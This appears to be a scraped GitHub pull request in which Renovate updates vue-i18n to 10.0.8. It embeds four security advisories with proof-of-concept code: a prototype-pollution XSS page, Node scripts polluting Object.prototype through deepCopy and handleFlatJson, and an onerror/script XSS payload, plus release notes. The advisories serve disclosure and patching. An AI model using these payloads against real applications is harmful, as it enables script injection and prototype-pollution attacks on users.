fix(deps): update dependency vue-i18n to v10.0.8 [security] by renovate[bot] · Pull Request #291 · intlify/vue-i18n-extensions

renovate · 2024-12-02T19:21:27Z

This PR contains the following updates:

Package	Change	Age	Confidence
vue-i18n (source)	`10.0.2` → `10.0.8`
vue-i18n (source)	`^9.0.0` → `^10.0.0`

vue-i18n has cross-site scripting vulnerability with prototype pollution

CVE-2024-52809 / GHSA-9r9m-ffp6-9x4v

More information

Details

Vulnerability type

XSS

Description

vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.

The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts

In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.

Reproduce (PoC)

<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>vue-i18n XSS</title>
    <script src="https://unpkg.com/vue@3"></script>
    <script src="https://unpkg.com/vue-i18n@10"></script>
    <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
    <script>
      /**
       * Prototype pollution vulnerability with `Object.prototype`.
       * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
       * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
       *
       * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
       * so there is always a property that is attached during optimization like this time.
       * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
       */
      Object.defineProperty(Object.prototype, 'static', {
        configurable: true,
        get() {
          alert('prototype polluted!')
          return 'prototype pollution'
        }
      })
    </script> 
 </head>
  <body>
    <div id="app">
      <p>{{ t('hello') }}</p>
    </div>
    <script>
      const { createApp } = Vue
      const { createI18n, useI18n } = VueI18n

      // AST style locale message, which build by `@intlify/unplugin-vue-i18n`
      const en = {
        hello: {
          type: 0,
          body: {
            items: [
              {
                type: 3,
                value: 'hello world!'
              }
            ]
          }
        }
      }

      const i18n = createI18n({
        legacy: false,
        locale: 'en',
        messages: {
          en
        }
      })

      const app = createApp({
        setup() {
          const { t } = useI18n()
          return { t }
        }
      })
      app.use(i18n)
      app.mount('#app')
    </script>
  </body>
</html>

Workarounds

Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.

jit compilation: https://vue-i18n.intlify.dev/guide/advanced/optimization.html#jit-compilation
bundler plugin option: https://github.com/intlify/bundle-tools/tree/main/packages/unplugin-vue-i18n#jitcompilation

References

Simillar case: Vue 2 XSS vulnerability with prototype pollution

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

@intlify/shared Prototype Pollution vulnerability

CVE-2024-52810 / GHSA-hjwq-mjwj-4x6c

More information

Details

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared
Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @&#8203;intlify/[email protected]
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

(async () => {
const lib = await import('@&#8203;intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vue I18n Allows Prototype Pollution in `handleFlatJson`

CVE-2025-27597 / GHSA-p2ph-7g93-hw3m

More information

Details

Vulnerability type:
Prototype Pollution

Vulnerability Location(s):

##### v9.1
node_modules/@&#8203;intlify/message-resolver/index.js

##### v9.2 or later
node_modules/@&#8203;intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @&#8203;intlify/[email protected]
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

// poc.js
(async () => {
    const lib = await import('@&#8203;intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

Severity

CVSS Score: 8.9 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

vue-i18n's escapeParameterHtml does not prevent DOM-based XSS through its tag attributes

CVE-2025-53892 / GHSA-x8qp-wqqm-57ph

More information

Details

Summary

The escapeParameterHtml: true option in Vue I18n is designed to protect against HTML/script injection by escaping interpolated parameters. However, this setting fails to prevent execution of certain tag-based payloads, such as <img src=x onerror=...>, if the interpolated value is inserted inside an HTML context using v-html.

This may lead to a DOM-based XSS vulnerability, even when using escapeParameterHtml: true, if a translation string includes minor HTML and is rendered via v-html.

Details

When escapeParameterHtml: true is enabled, it correctly escapes common injection points.

However, it does not sanitize entire attribute contexts, which can be used as XSS vectors via:

<img src=x onerror=alert(1)>

PoC

In your Vue I18n configuration:

const i18n = createI18n({
  escapeParameterHtml: true,
  messages: {
    en: {
      vulnerable: 'Caution: <img src=x onerror="{payload}">'
    }
  }
});

Use this interpolated payload:

const payload = '<script>alert("xss")</script>';
Render the translation using v-html (even not using v-html):

<p v-html="$t('vulnerable', { payload })"></p>
Expected: escaped content should render as text, not execute.

Actual: script executes in some environments (or the payload is partially parsed as HTML).

Impact

This creates a DOM-based Cross-Site Scripting (XSS) vulnerability despite enabling a security option (escapeParameterHtml) .

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

intlify/vue-i18n (vue-i18n)

`v10.0.8`

Compare Source

What's Changed

🔒 Security Fixes

fix: DOM-based XSS via tag attributes for escape parameter by @kazupon in #2229

Full Changelog: intlify/vue-i18n@v10.0.7...v10.0.8

`v10.0.7`

Compare Source

What's Changed

🐛 Bug Fixes

fix: cannot resolve the ast messages which has json path for v10 by @kazupon in #2160

Full Changelog: intlify/vue-i18n@v10.0.6...v10.0.7

`v10.0.6`

Compare Source

What's Changed

🔒 Security Fixes

fix: prototype pollution in handleFlatJson, about details see GHSA-p2ph-7g93-hw3m

Full Changelog: intlify/vue-i18n@v10.0.5...v10.0.6

`v10.0.5`

Compare Source

What's Changed

🔒 Security Fixes

fix: XSS vulnerability with prototype pollution on AST: GHSA-9r9m-ffp6-9x4v
fix: prototype pollusion on deepCopy: GHSA-hjwq-mjwj-4x6c

Full Changelog: intlify/vue-i18n@v10.0.4...v10.0.5

`v10.0.4`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

Deprecate Legacy API mode

The Legacy API mode was the API mode compatible with v8 for Vue 2. When v9 was released, the Legacy API was provided to smooth the migration from v8 to v9.

Legacy API mode will be deprecated in v11, as previous vue-i18n releases have already provided the following to support migration to Composition API mode

Migration from Legacy API mode to Composition API mode, see the docs
Composition API usage, see the docs

For compatibility, Legacy API mode still works in v11, but will be removed entirely in v12, so Legacy API mode will not work after that version.

Deprecate Custom Directive `v-t`

The advantage of v-t was that it could optimize performance using the vue compiler transform and the pre-translation of vue-i18n-extension.

This feature was supported from Vue 2.
About details see the blog article

In Vue 3, due to the Composition API, the pre-translation of vue-i18n-extension is now limited only for global scope.

In addition, Vue 3 Virtual DOM optimization has been introduced, and the optimization provided by vue-i18n-extension is no longer very effective. We need to require settings for SSR, the benefits of using v-t have disappeared. And DX of templates using v-t is not good. Custom directives do not work with key completion in editors (e.g. vscode).

For compatibility, v-t mode still works in v11, but will be removed entirely in v12, so v-t will not work after that version.

Drop `tc` and `$tc` for Legacy API mode

These APIs had already deprecated in warning about being dropped in v11. docs says

Vue I18n maintenance Status

Vue I18n v8 is no longer supported after 2025. Vue I18n v9 and Vue I18n v10 is in maintenance mode after 2025 July.

With the release of Vue I18n v11, that version will become mainstream.

The maintenance detail status of Vue I18n v9 and Vue I18n v10 is as follows:

You can check the maintenance status on the docs

❗ Breaking Changes

feat!: deprecate Legacy API mode by @kazupon in #2016
breaking: drop $tc and tc by @kazupon in #2017
feat!: deprecate v-t custom directive by @kazupon in #2045

⚡ Improvement Features

fix: tm function should accept DefineLocaleMessage key type by @BobbieGoede in #2014

🔒 Security Fixes

fix: security vulnerability fix porting by @kazupon in #2034

📝️ Documentations

Change config prop for quasar flags by @chrissyast in #2003
docs: Pluralization Page by @Sammuel09 in #1998
docs: fix composition section by @Sammuel09 in #2008
fix(docs): correct output in composition api example by @pejeio in #2012
docs: not use deprecated api by @kazupon in #2013
docs: fix wrong plural example by @kazupon in #2033
docx(pluralization.md): Correct spelling from 'gloal' to 'global' by @PuppyOne in #2038
Fix typo by @shaedrich in #2040
Fix another typo by @shaedrich in #2041
docs: add maintenance status by @kazupon in #2044

👋 New Contributors

@chrissyast made their first contribution in #2003
@Sammuel09 made their first contribution in #1998
@pejeio made their first contribution in #2012
@PuppyOne made their first contribution in #2038
@shaedrich made their first contribution in #2040

Full Changelog: intlify/vue-i18n@v10.0.4...v11.0.0

`v10.0.3`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: cannot resolve empty string on plural by @kazupon in #1985

📝️ Documentations

Add petite-vue-i18n package to README by @vikingair in #1971

New Contributors

@vikingair made their first contribution in #1971

Full Changelog: intlify/vue-i18n@v10.0.3...v10.0.4

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate Bot added the Type: Dependency label Dec 2, 2024

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 032ab92 to 692b4d3 Compare December 2, 2024 22:43

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch 2 times, most recently from 54a8f8f to fb72b48 Compare January 23, 2025 22:07

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from fb72b48 to d8dd23d Compare January 30, 2025 19:22

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from d8dd23d to e86fba2 Compare February 9, 2025 13:36

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch 2 times, most recently from e21f2a4 to d4a573a Compare March 7, 2025 16:08

renovate Bot changed the title ~~fix(deps): update dependency vue-i18n to v10.0.5 [security]~~ fix(deps): update dependency vue-i18n to v10.0.6 [security] Mar 7, 2025

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch 3 times, most recently from 809e092 to 221477f Compare March 17, 2025 17:32

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 221477f to 22984f6 Compare April 1, 2025 13:27

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 22984f6 to 25685e1 Compare April 8, 2025 13:40

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 25685e1 to 8616ddb Compare April 24, 2025 08:08

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 8616ddb to 421c934 Compare May 19, 2025 16:56

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch 2 times, most recently from 336fc54 to 3aa0db3 Compare June 4, 2025 06:41

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch 2 times, most recently from ead4ffc to 8f32784 Compare June 25, 2025 02:02

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 8f32784 to d66c44f Compare July 2, 2025 19:07

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from d66c44f to 78ea3a8 Compare July 16, 2025 19:53

renovate Bot changed the title ~~fix(deps): update dependency vue-i18n to v10.0.6 [security]~~ fix(deps): update dependency vue-i18n to v10.0.8 [security] Jul 16, 2025

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 78ea3a8 to 79cf8b2 Compare August 10, 2025 13:49

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 79cf8b2 to 0957445 Compare September 11, 2025 10:00

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 0957445 to 51f6eea Compare September 25, 2025 15:36

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 51f6eea to 2ac2a68 Compare October 22, 2025 00:08

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 2ac2a68 to fe45a03 Compare December 3, 2025 18:14

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from fe45a03 to 46b4719 Compare December 31, 2025 16:05

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 46b4719 to 5d733c4 Compare January 19, 2026 15:45

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 5d733c4 to 0565e28 Compare February 12, 2026 17:43

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 0565e28 to 667f94a Compare March 13, 2026 10:39

renovate Bot changed the title ~~fix(deps): update dependency vue-i18n to v10.0.8 [security]~~ fix(deps): update dependency vue-i18n to v10.0.8 [security] - autoclosed Mar 27, 2026

renovate Bot closed this Mar 27, 2026

renovate Bot deleted the renovate/npm-vue-i18n-vulnerability branch March 27, 2026 05:01

renovate Bot changed the title ~~fix(deps): update dependency vue-i18n to v10.0.8 [security] - autoclosed~~ fix(deps): update dependency vue-i18n to v10.0.8 [security] Mar 30, 2026

renovate Bot reopened this Mar 30, 2026

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch 2 times, most recently from 667f94a to 7596018 Compare March 30, 2026 17:42

fix(deps): update dependency vue-i18n to v10.0.8 [security]

26bb4b5

renovate Bot force-pushed the renovate/npm-vue-i18n-vulnerability branch from 7596018 to 26bb4b5 Compare April 8, 2026 14:57

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

fix(deps): update dependency vue-i18n to v10.0.8 [security]#291

fix(deps): update dependency vue-i18n to v10.0.8 [security]#291
renovate[bot] wants to merge 1 commit intonextfrom
renovate/npm-vue-i18n-vulnerability

renovate Bot commented Dec 2, 2024 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Uh oh!

Conversation

renovate Bot commented Dec 2, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

vue-i18n has cross-site scripting vulnerability with prototype pollution

Details

Vulnerability type

Description

Reproduce (PoC)

Workarounds

References

Severity

References

@​intlify/shared Prototype Pollution vulnerability

Details

Severity

References

Vue I18n Allows Prototype Pollution in handleFlatJson

Details

Severity

References

vue-i18n's escapeParameterHtml does not prevent DOM-based XSS through its tag attributes

Details

Summary

Details

PoC

Impact

Severity

References

Release Notes

v10.0.8

What's Changed

🔒 Security Fixes

v10.0.7

What's Changed

🐛 Bug Fixes

v10.0.6

What's Changed

🔒 Security Fixes

v10.0.5

What's Changed

🔒 Security Fixes

v10.0.4

What's Changed

Deprecate Legacy API mode

Deprecate Custom Directive v-t

Drop tc and $tc for Legacy API mode

Vue I18n maintenance Status

❗ Breaking Changes

⚡ Improvement Features

🔒 Security Fixes

📝️ Documentations

👋 New Contributors

v10.0.3

What's Changed

🐛 Bug Fixes

📝️ Documentations

New Contributors

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Dec 2, 2024 •

edited

Loading

@intlify/shared Prototype Pollution vulnerability

Vue I18n Allows Prototype Pollution in `handleFlatJson`

`v10.0.8`

`v10.0.7`

`v10.0.6`

`v10.0.5`

`v10.0.4`

Deprecate Custom Directive `v-t`

Drop `tc` and `$tc` for Legacy API mode

`v10.0.3`